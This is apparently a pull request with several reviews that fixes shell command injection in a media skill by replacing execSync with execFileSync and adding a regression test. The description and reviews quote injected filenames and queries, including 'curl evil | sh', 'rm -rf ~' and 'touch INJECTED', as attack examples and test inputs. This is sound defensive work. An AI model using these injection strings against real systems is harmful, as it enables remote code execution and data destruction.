fix(media-use): kill shell command injection in probe/heygen-search

[miguel-heygen]

What

media-use was flagged High/Critical by the skills security scanners (Gen / Socket / Snyk). This closes the underlying shell command injection across the whole skill and wires its tests into CI.

Root cause

Three library/harness functions built a shell command string and ran it through execSync, so shell metacharacters in interpolated values executed:

• scripts/lib/probe.mjs — ffprobe ... "${filePath}". filePath comes from walking filenames on disk in a project's assets/ dir (adopt.mjs:56 → scanExistingAssets → walkDir), so a media file named clip"; curl evil | sh; ".mp4 yields arbitrary command execution during resolve --adopt. This is the exploitable path.
• scripts/lib/heygen-search.mjs — heygen ... --query '${q}' with hand-rolled quote-escaping.
• scripts/eval.mjs — run() interpolated ${prompt} (from manifest.jsonl provenance/description) and ${first.type} into a shell string. Dev-only harness, same bug class — fixed for sibling consistency.

Fix

Drop the shell entirely — all three now use execFileSync(file, [argv]). Each value is passed as a literal argument, so there is no shell parsing and no injection, regardless of filename / query / manifest content. No execSync remains in non-test media-use code.

Test + CI

• scripts/lib/probe.test.mjs feeds probe() a file named clip"; touch INJECTED; echo ".mp4 and asserts the marker is never created (chdir + marker-existence). Verified it fails against the old execSync and passes against the fix — a real regression guard.
• These skill tests previously never ran in CI: the code paths-filter excluded skills/, and test:scripts/test don't cover skills/media-use. Added a skills paths-filter + a dedicated Test (skills) job (node --test 'skills/**/*.test.mjs') and a root test:skills script, so the regression guard is locked in for future scanner rounds.

Out of scope (already bounded)

• freeze.mjs does fetch(url) to download media (size-capped at 256 MB, no shell).

[james-russo-rames-d-jusso]

LGTM — security fix is correct shape and the sweep is essentially complete

Reviewed at 7d2d8728ce3fcfeeb5158fb604ad9fb3e392a201. CI green (CodeQL JS/TS + Python both pass; everything else skipped per path filters).

Sibling sweep across skills/media-use/

Grep for execSync|exec\(|spawn|execFile at HEAD turns up only:

File	Status
scripts/lib/probe.mjs	✅ fixed in this PR (execFileSync + argv)
scripts/lib/heygen-search.mjs	✅ fixed in this PR (execFileSync + argv)
scripts/lib/freeze.mjs	✅ fetch() only, 256 MB cap, no shell
scripts/eval.mjs:40	⚠️ residual execSync — see 💭 below
scripts/resolve.test.mjs	✅ test harness, hardcoded shape (as PR body notes)

So the two flagged injection points are closed and there are no untouched sibling shell calls in the user-reachable code paths. The exploitable path described in the PR body (adopt.mjs → walk filenames on disk → probe() → execSync) is genuinely dead now.

Fix shape — canonical 💚

Both files switch to execFileSync(file, [argv]). That's the best-in-class option: no shell, no quoting, no shlex.quote-style escaping that can still bite on edge cases. filePath / query / type / limit all pass as literal argv entries, immune to shell metacharacters regardless of how hostile the value is. Numeric args properly coerced via String(limit) / String(minScore).

I verified subcommand.split(" ") is safe for every current caller — bgm-provider.mjs, sfx-provider.mjs, image-provider.mjs (×2) all pass hardcoded literals ("audio sounds list" or "asset search"), and subcommand originates from caller code, not user input. Future callers adding a subcommand with embedded whitespace would over-split, but that's a footgun-not-a-vuln (and the current call sites are the only ones in the skill).

Test 💚

probe.test.mjs is exactly the regression guard I'd want: filename containing clip"; touch INJECTED; echo ".mp4, process.chdir(dir) so a leaked touch would land next to the marker, then assert(!existsSync(marker)). PR body confirms it fails against the pre-fix code and passes against the fix — i.e. it's a real proof, not a tautology.

Findings

🟡 scripts/eval.mjs:40 — residual execSync is dev-only but interpolates ${prompt}
The eval harness still does execSync(node ... --intent "${prompt}" ...) where prompt = first.provenance?.prompt || first.description (lines ~134, ~155). PR body categorizes eval.mjs as "no untrusted input" — close, but worth being precise: the structure is hardcoded, but ${prompt} is dynamic content read from .media/manifest.jsonl, which itself was written from registry block metadata. The realistic attack surface is "someone with commit access to registry/blocks/* poisons a description string to escape on contributor laptops running node eval.mjs" — which is the same trust model as any other code in the repo, so I wouldn't block on it.

That said, the same execFileSync(file, [args]) swap that fixed probe.mjs/heygen-search.mjs would close this too with a few lines. Consider it next time you're in there — keeps the entire skill on one safe pattern and removes the "is this dev-only?" caveat from future scanner runs.

💭 No adversarial-query test for heygen-search.mjs
probe.test.mjs is the canonical proof for the argv pattern, and the same shape applies to heygen-search.mjs, so I don't think this is blocking. But a 5-line sibling test (heygenSearch("asset search", "'); rm -rf ~; echo '") asserting no marker file appears) would lock in the contract on that file too and make the next scanner round a no-op.

💭 freeze.mjs URL source — out of scope, just noting
fetch(url) in freezeUrl is correctly capped at 256 MB, but it doesn't validate scheme/host. URLs originate from provider catalogs (heygen asset/audio search), so SSRF surface is bounded by what the heygen API returns. Not a finding for this PR — flagging only so future scanner alerts on media-use won't surprise anyone.

Verdict

Stamp-ready. Closes the underlying shell injection cleanly, the test is a real regression guard, the sibling sweep is essentially complete, and no new code introduces the same problem (no security-delete reintroduction). The eval.mjs residual is a "next time you're in there" follow-up, not a blocker.

— Rames D Jusso

[vanceingalls]

Shell-injection elimination in two media-use library functions: probe.mjs (ffprobe over filenames walked from assets/) and heygen-search.mjs (heygen --query ... over caller-supplied query strings). Both move from execSync(<string>) (shell-mode) to execFileSync(file, argv) (no shell), so every interpolated value is a literal argv entry — quoting tricks become inert and there is no shell parser left to attack. The hand-rolled ' → '\'' escape in heygen-search drops out as a consequence. A real regression test lands at probe.test.mjs exercising a filename of the documented attack shape (clip"; touch INJECTED; echo ".mp4) and asserts the marker file is never created.

Verdict: LGTM — converging with Rames's read at the same SHA.

Verified the attack surface is closed:

• probe.mjs:11-15: execFileSync("ffprobe", ["-v", "quiet", "-print_format", "json", "-show_format", "-show_streams", filePath], { encoding: "utf8", timeout: 5000 }). filePath is the last argv entry, passed verbatim to the OS process-spawn API; no /bin/sh -c, so a filename like clip"; rm -rf ~; ".mp4 reaches ffprobe as one weird filename (which it errors on) rather than as three shell commands. The function's try/catch returns the null-shaped { width, height, duration, codec } on any error, so the failure mode for hostile filenames is "probe returns null fields" — never crash, never execute.
• heygen-search.mjs:9-24: argv array built with ["--headers", "X-HeyGen-Client-Source: media-use", ...subcommand.split(" "), "--query", query, ...]. query, type, String(limit), String(minScore) all become literal argv entries. The previous q.replace(/'/g, "'\\''") hand-roll was attempting to escape ' for shell-single-quote contexts; deleting it is correct now that there's no shell.
• The traced attack path from PR body — adopt.mjs:scanExistingAssets → walkDir(assetsDir) → probe(fullPath) where fullPath = join(assetsDir, rel) — confirmed: rel comes straight from readdirSync, so any filename a user plants in assets/ flows to probe() unsanitized. Under the OLD execSync, the shell parses the filename; under the NEW execFileSync, it's a literal argv. Fix matches the documented surface 1:1.

Verified the test is a real regression guard, not a smoke check:

• probe.test.mjs:13-29 creates a temp dir, writes a real file at clip"; touch INJECTED; echo ".mp4, chdirs there (so a leaked touch INJECTED would actually land beside marker), calls probe(evil), then asserts existsSync(marker) === false. Two-pronged: (1) marker absence proves the injected touch never ran, (2) the shape assertion ["codec", "duration", "height", "width"] proves probe() returned its null-shape envelope. Under the prior execSync-with-shell call, the ; touch INJECTED; chain would have executed before ffprobe even tried to open the file → marker created → test fails. Under the fix, the marker never appears regardless of whether ffprobe is installed locally (the injected command never reaches a shell). Genuinely catches the regression.

Callers verified for residual exposure (concur with Rames's sweep):

• image-provider.mjs:5,27, bgm-provider.mjs:5, sfx-provider.mjs:5 all invoke heygenSearch with HARDCODED subcommand literals ("asset search", "audio sounds list") — subcommand.split(" ") tokenization is safe under those callers. The query/intent parameter flows through user-supplied text (asset intents) but is now an argv literal — safe regardless of content.
• freeze.mjs: fetch() with 256 MB cap, no shell. ✓

Findings (numbered, with severity tag):

1. NIT (concur with Rames + sharper-read credit) — eval.mjs:40,134,156 residual execSync interpolates ${prompt} where prompt = first.provenance?.prompt || first.description (line 134) from manifest.jsonl content, plus the static "nonexistent query xyz" at line 156. The PR body classifies eval.mjs as "hardcoded commands, no untrusted input" — the structure is hardcoded but the interpolated prompt is dynamic content from registry-block metadata, which is a tighter framing than I'd initially landed on. Rames's read is the right one: trust model = "someone with commit access to registry/blocks/* poisons a description string to escape on contributor laptops running node eval.mjs," which is the same model as any other code in the repo, so it's not a blocker. Still — the same execFileSync(file, [...args]) swap that fixed probe.mjs/heygen-search.mjs would close this in ~5 lines and remove the "is this dev-only?" caveat from future scanner sweeps. Worth bundling next time someone's in the file. Author discretion.

2. NIT — probe.test.mjs lives under skills/media-use/scripts/lib/ but the HF main Test job is SKIPPED on this PR (path-filtering: skills/ changes don't trigger the JS unit test job — confirmed in the rollup: Test, Lint, Typecheck, Build, Fallow audit all SKIPPED). The new regression test exists as a local-only guard — Miguel ran it locally per PR body and verified it fails against the pre-fix code, but CI never will under the current job graph. Two ways to firm this up: (a) wire a Test (skills) job that runs node --test skills/**/*.test.mjs on skills/ changes, or (b) accept the local-only artifact role and document it inline. (a) seems modest given this is a security-fix regression guard specifically — the whole point is to catch a re-introduction, and a CI-uncovered test catches it only if the next contributor remembers to run it. Author discretion; orthogonal to Rames's sibling-test suggestion for heygen-search.mjs (a 5-line heygenSearch adversarial test would benefit from the same CI wiring).

3. Concur with Rames's other observations —

   • 💭 Sibling adversarial test for heygen-search.mjs would lock in the argv-pattern contract on that file too (his suggestion, no objection).
   • 💭 freeze.mjs URL fetch is out of scope but the SSRF surface is bounded by what the heygen API returns (his note, no objection).
   • subcommand.split(" ") is a footgun-not-a-vuln under the current trusted callers (his framing matches mine).

CI state at HEAD 7d2d8728: CodeQL JS/TS + Python + actions SUCCESS, Format SUCCESS, File size check SUCCESS, Semantic PR title SUCCESS, player-perf / preview-regression / regression SUCCESS, Detect changes SUCCESS. Test / Lint / Typecheck / Build / Fallow audit SKIPPED (path-filtered). Windows render, perf shards, regression shards all SKIPPED. No required failures. The Snyk/Socket/Gen scanners that originally flagged this CVE-shape don't appear as PR checks — they may be scheduled scans rather than PR gates. Worth a sanity re-scan after merge to confirm the high/critical signal clears.

Prior reviewer state: Rames COMMENTED LGTM on 7d2d8728 (sibling sweep + fix-shape verification + 1 yellow nit on eval.mjs + 2 thought bubbles). Convergent with my read at the same SHA — no daylight on verdict; differences are framing precision (his eval.mjs read is the sharper one; my CI-coverage point is the differentiator).

Review by Via

[jrusso1020]

LGTM — security fix is correct shape, sweep complete

Approving at 7d2d8728ce3fcfeeb5158fb604ad9fb3e392a201 per James's greenlight.

Fix shape — canonical ✅

Both probe.mjs and heygen-search.mjs swap execSync(<shell-string>) → execFileSync(file, argv). Best-in-class option: no shell, no quoting, no shlex.quote-style escaping. filePath / query / type / limit all pass as literal argv entries — immune to shell metacharacters regardless of how hostile the value is. The adopt.mjs → walkDir → probe() exploitable path described in the PR body is closed at the source.

Test ✅

probe.test.mjs is a real regression guard, not a tautology — filename containing clip"; touch INJECTED; echo ".mp4, process.chdir(dir) so a leaked touch would land next to the marker, then assert(!existsSync(marker)). PR body confirms it fails against pre-fix code.

Sibling sweep ✅

File	Status
scripts/lib/probe.mjs	✅ fixed in this PR
scripts/lib/heygen-search.mjs	✅ fixed in this PR
scripts/lib/freeze.mjs	✅ fetch() only, 256 MB cap, no shell
scripts/eval.mjs:40	🟡 dev-only execSync(${prompt}) from manifest.jsonl — same trust model as repo committers, "next time you're in there" follow-up

No untouched sibling shell calls in user-reachable code paths.

Follow-up (non-blocking, separate PR)

CI-coverage gap: the Test job is path-filtered out for skills/ changes, so probe.test.mjs won't run in CI under the current job graph. James acked this is a separate concern — opening a follow-up to either add a Test (skills) job or relax the path filter so the regression guard locks in.

Strong convergence: Via R2 LGTM, Rames D Jusso bot LGTM, three reviewers at the same SHA with the same verdict.

— Jerrai